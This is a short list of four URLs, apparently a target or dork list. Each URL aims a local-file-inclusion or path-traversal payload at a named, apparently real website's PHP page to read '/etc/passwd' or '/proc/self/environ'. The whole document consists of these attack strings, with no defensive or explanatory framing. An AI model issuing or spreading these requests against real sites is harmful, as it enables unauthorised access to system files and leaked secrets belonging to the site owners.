http://www.tzimakos.gr/print.php?id=/proc/self/environ

http://my.getmorediamonds.com/getstarted.php?id=index.php&url=../../../../../../etc/passwd

http://www.joeplecker.com/display.php?id=/proc/self/environ

http://petercottontailpreschool.com/index.php?id=/etc/passwd